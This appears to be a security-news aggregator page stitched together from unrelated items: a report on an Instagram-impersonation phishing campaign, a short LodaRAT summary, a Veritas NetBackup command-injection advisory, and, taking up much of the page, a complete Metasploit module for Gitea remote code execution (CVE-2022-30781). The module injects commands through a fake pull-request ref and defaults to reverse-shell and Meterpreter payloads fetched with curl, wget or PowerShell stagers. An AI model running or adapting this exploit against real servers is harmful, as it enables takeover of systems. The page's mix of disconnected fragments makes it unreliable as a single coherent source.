Whatever the reason, the campaign's combination of spoofing, brand impersonation, and a legitimate domain allowed attackers to send messages that successfully passed through not only Office 365 and Exchange protections, but also DKIM, DMARC, and SPF alignment email authentication checks, the researchers said.

"Upon further analysis from the Armorblox Research Team, the sender domain received a reputable score of "trustworthy" and no infections in the past 12 months of the domain's 41 months of existence," they wrote in the post.

**"Unusual Login" Lure**

Researchers at Armorblox said the attacks started with an email with the subject line "We Noticed an Unusual Login, \[user handle\]," using a common tactic to instill a sense a urgency in the recipient to get them to read the email and take action.

The body of the email impersonated the Instagram brand, and appeared to be come from the social media platform's support team, with the sender's name, Instagram profile, and email address — which was the perfectly palatable "\[email protected\]" — all appearing legitimate, they said.

The message let the user know that an unrecognized device from a specific location and machine with a specific operating system — in the case of an example shared by Amorblox, Budapest and Windows, respectively — had logged in to their account.

"This targeted email attack was socially engineered, containing information specific to the recipient — like his or her Instagram user handle — in order to instill a level of trust that this email was a legitimate email communication from Instagram," the researchers wrote.

Attackers aimed for recipients to click on a link asking them to "secure" their login details included at the bottom of the email, which lead to a fake landing page that threat actors created to exfiltrate user credentials. If someone got that far, the landing page to which the link redirects, like the email, also mimicked a legitimate Instagram page, the researchers said.

"The information within this fake landing page provides the victims a level of detail to both corroborate the details within the email and also increase the sense of urgency to take action and click the call-to-action button, 'This Wasn’t Me,'" the researchers said.

If users take the bait and click to "verify" their accounts, they're directed to a second fake landing page that also impersonates Instagram credibly and are prompted to change account credentials on the premise that someone may already have stolen them.

Ironically, of course, it's the actual page itself that will be doing the stealing if the user logs in with new credentials, the researchers said.

**Avoiding Compromise and Credential Theft**

As threat actors get more sophisticated in how they craft phishing emails, so, too, must enterprises and their users in terms of detecting them.

Since the Instagram phishing campaign managed to bypass native email protections, researchers suggested that organizations should augment built-in email security with layers that take a materially different approach to threat detection. To help them find a solution, they can use trusted research from firms such as Gartner and others on which options are the best for their particular business.

Employees also should be advised or even trained to watch out for social engineering cues that are becoming more common in phishing campaigns rather than quickly execute the requested actions received in email messages, which our brains have been trained to do, the researchers said.

"Subject the email to an eye test that includes inspecting the sender name, sender email address, the language within the email, and any logical inconsistencies within the email," they wrote.

Additionally, the researchers said, employing multifactor authentication and password-management best practices across both personal and business accounts can help avoid account compromise if an attacker does get ahold of a user's credentials through phishing.

Instagram Impersonators Target Thousands, Slipping by Microsoft's Cybersecurity

This Metasploit module exploits the Git fetch command in the Gitea repository migration process to allow for remote command execution on the system. This vulnerability affect Gitea versions prior to 1.16.7.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  include Msf::Exploit::Remote::HTTP::Gitea  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Gitea Git Fetch Remote Code Execution',        'Description' => %q{          This module exploits Git fetch command in Gitea repository migration          process that leads to a remote command execution on the system.          This vulnerability affect Gitea before 1.16.7 version.        },        'Author' => [          'wuhan005', # Original PoC          'li4n0', # Original PoC          'krastanoel' # MSF Module        ],        'References' => [          ['CVE', '2022-30781'],          ['URL', 'https://tttang.com/archive/1607/']        ],        'DisclosureDate' => '2022-05-16',        'License' => MSF_LICENSE,        'Platform' => %w[unix linux win],        'Arch' => ARCH_CMD,        'Privileged' => false,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => %i[curl wget echo printf],              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Type' => :win_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'              }            }          ],          [            'Windows Dropper',            {              'Platform' => 'win',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :win_dropper,              'CmdStagerFlavor' => [ 'psh_invokewebrequest' ],              'DefaultOptions' => {                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',                'CMDSTAGER::URIPATH' => '/payloads'              }            }          ]        ],        'DefaultOptions' => { 'WfsDelay' => 30 },        'DefaultTarget' => 1,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => []        }      )    )    register_options([      Opt::RPORT(3000),      OptString.new('USERNAME', [true, 'Username to authenticate with']),      OptString.new('PASSWORD', [true, 'Password to use']),      OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),    ])  end  def cleanup    super    return if @uid.nil? || @migrate_repo_created.nil?    [@repo_name, @migrate_repo_name].each do |name|      res = gitea_remove_repo(repo_path(name))      if res.nil? || res&.code == 200        vprint_warning("Unable to remove repository '#{name}'")      elsif res&.code == 404        vprint_warning("Repository '#{name}' not found, possibly already deleted")      else        vprint_status("Successfully cleanup repository '#{name}'")      end    end  end  def check    return CheckCode::Safe('USERNAME can\'t be blank') if datastore['username'].blank?    v = get_gitea_version    gitea_login(datastore['username'], datastore['password'])    if Rex::Version.new(v) <= Rex::Version.new('1.16.6')      return CheckCode::Appears("Version detected: #{v}")    end    CheckCode::Safe("Version detected: #{v}")  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError => e    return CheckCode::Unknown(e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError => e    return CheckCode::Detected(e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError,         Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e    return CheckCode::Safe(e.message)  end  def primer    [      '/api/v1/version', '/api/v1/settings/api',      "/api/v1/repos/#{@migrate_repo_path}",      "/api/v1/repos/#{@migrate_repo_path}/pulls",      "/api/v1/repos/#{@migrate_repo_path}/topics"    ].each { |uri| hardcoded_uripath(uri) } # adding resources  end  def execute_command(cmd, _opts = {})    if target['Type'] == :win_dropper      # Git on Windows will pass the command to `sh.exe` and not `cmd`.      # This requires some adjustments:      # - Windows environment variables are mapped by `sh.exe`: `%VAR%` becomes `$VAR`      # - `cmd` uses `&` to join multiple commands, whereas `sh.exe` uses `&&`.      # - Backslashes need to be escaped with `sh.exe`      cmd = cmd.gsub(/%(\w+)%/) { "$#{::Regexp.last_match(1)}" }.gsub(/&/) { '&&' }.gsub(/\\/) { '\\\\\\' }    end    vprint_status("Executing command: #{cmd}")    @repo_name = rand_text_alphanumeric(6..15)    @migrate_repo_name = rand_text_alphanumeric(6..15)    @migrate_repo_path = repo_path(@migrate_repo_name)    vprint_status("Creating repository \"#{@repo_name}\"")    @uid = gitea_create_repo(@repo_name)    vprint_good('Repository created')    vprint_status('Migrating repository')    clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}"    auth_token = rand_text_alphanumeric(6..15)    @migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token)    @p = cmd  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError,         Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError,         Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e    fail_with(Failure::UnexpectedReply, e.message)  end  def exploit    unless datastore['AutoCheck']      fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank?      gitea_login(datastore['username'], datastore['password'])    end    start_service    primer    case target['Type']    when :unix_cmd, :win_cmd      execute_command(payload.encoded)    when :linux_dropper, :win_dropper      datastore['CMDSTAGER::URIPATH'] = "/#{rand_text_alphanumeric(6..15)}"      execute_cmdstager(background: true, delay: 1)    end  rescue Timeout::Error => e    fail_with(Failure::TimeoutExpired, e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e    fail_with(Failure::UnexpectedReply, e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e    fail_with(Failure::NoAccess, e.message)  end  def repo_path(name)    "#{datastore['username']}/#{name}"  end  def on_request_uri(cli, req)    case req.uri    when '/api/v1/version'      send_response(cli, '{"version": "1.16.6"}')    when '/api/v1/settings/api'      data = {        max_response_items: 50, default_paging_num: 30,        default_git_trees_per_page: 1000, default_max_blob_size: 10485760      }      send_response(cli, data.to_json)    when "/api/v1/repos/#{@migrate_repo_path}"      data = {        clone_url: "#{full_uri}#{datastore['username']}/#{@repo_name}",        owner: { login: datastore['username'] }      }      send_response(cli, data.to_json)    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"      send_response(cli, '{"topics":[]}')    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"      data = [        {          base: {            ref: 'master'          },          head: {            ref: "--upload-pack=#{@p}",            repo: {              clone_url: './',              owner: { login: 'master' }            }          },          updated_at: '2001-01-01T05:00:00+01:00',          user: {}        }      ]      send_response(cli, data.to_json)    when datastore['CMDSTAGER::URIPATH']      super    end  endend

Gitea Git Fetch Remote Code Execution

LodaRAT samples were deployed alongside other malware families, including RedLine and Neshta.
Cisco Talos identified several variants and altered versions of LodaRAT with updated functionality have been identified in the wild.
Changes in these LodaRAT variants include new functionality allowing proliferation to attached removable storage, a new string encoding algorithm

Get a Loda This: LodaRAT meets new friends

The Java Admin Console in Veritas NetBackup through 10.1 and related Veritas products on Linux and UNIX allows authenticated non-root users (that have been explicitly added to the auth.conf file) to execute arbitrary commands as root.

**Revision History**

*   November 15, 2022 – Initial Public Release

**Summary**

Veritas has addressed an OS Command Injection vulnerability affecting the NetBackup Java Admin Console. Please see the “Notes” section below to determine if you are vulnerable to this issue. Only users explicitly added to the auth.conf file can exploit this vulnerability.

**Issues****OS Command Injection vulnerability**

A vulnerability in the NetBackup Java Admin Console allows authenticated non-root users that have been explicitly added to the auth.conf file to execute arbitrary commands as root.

*   CVE ID: TBA
*   Severity: High
*   CVSS v3.1 Base Score: 7.5 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
*   Potentially impacted components: Primary servers, Media servers, and Clients. (See Notes below).
*   Recommended action:
    *   NetBackup: Upgrade to 8.2, 8.3.0.1, 8.3.0.2, 9.0.0.1, 9.1.0.1, 10.0.0.1 or 10.1 and apply corresponding Hotfix
    *   NetBackup Appliance: Upgrade to 3.2, 3.3.0.1, 3.3.0.2, 4.0.0.1, 4.1.0.1 or 5.0.0.1 MR1 and apply appropriate Hotfix.
    *   Flex Appliance: Please apply the NetBackup Hotfix corresponding to the NetBackup Container version on Flex appliances.
    *   Flex Scale: Please contact Veritas Technical Support and reference Knowledge Article ID 100053006 to obtain a fix.

**Notes**

The /usr/openv/java/auth.conf file grants access to functions in the NetBackup Administration Console. This file is created by default with only root having administrative rights. This file is present on Primary Servers, Media Servers and Clients.

Unless auth.conf is modified by adding non-root users to it and allowing those users to manage Primary servers or Media servers or Clients, the environment is NOT vulnerable, and the fix is not required.

This affects only Unix-based servers and clients. Windows-based servers and clients are unaffected.

The fix updates the vulnerable bpjava binary on the target system that the Java Admin UI console connects to.

For more details about auth.conf please see: https://www.veritas.com/content/support/en\_US/doc/21733320-149123528-0/v41641695-149123528

**Questions**

For questions or problems regarding this advisory please contact Veritas Technical Support (https://www.veritas.com/support)

**Acknowledgement**

Veritas would like to thank the Nordea Backup Team for reporting the issue to us.

**Disclaimer**

THE SECURITY ADVISORY IS PROVIDED "AS IS" AND ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT, ARE DISCLAIMED, EXCEPT TO THE EXTENT THAT SUCH DISCLAIMERS ARE HELD TO BE LEGALLY INVALID. VERITAS TECHNOLOGIES LLC SHALL NOT BE LIABLE FOR INCIDENTAL OR CONSEQUENTIAL DAMAGES IN CONNECTION WITH THE FURNISHING, PERFORMANCE, OR USE OF THIS DOCUMENTATION. THE INFORMATION CONTAINED IN THIS DOCUMENTATION IS SUBJECT TO CHANGE WITHOUT NOTICE. ANY FORWARD-LOOKING INDICATION OF PLANS FOR PRODUCTS IS PRELIMINARY AND ALL FUTURE RELEASE DATES ARE TENTATIVE AND ARE SUBJECT TO CHANGE. ANY FUTURE RELEASE OF THE PRODUCT OR PLANNED MODIFICATIONS TO PRODUCT CAPABILITY, FUNCTIONALITY, OR FEATURE ARE SUBJECT TO ONGOING EVALUATION BY VERITAS, AND MAY NOT BE IMPLEMENTED AND SHOULD NOT BE CONSIDERED FIRM COMMITMENTS BY VERITAS AND SHOULD NOT BE RELIED UPON IN MAKING DECISIONS.

Veritas Technologies LLC  
2625 Augustine Drive  
Santa Clara, CA 95054

Tag

#windows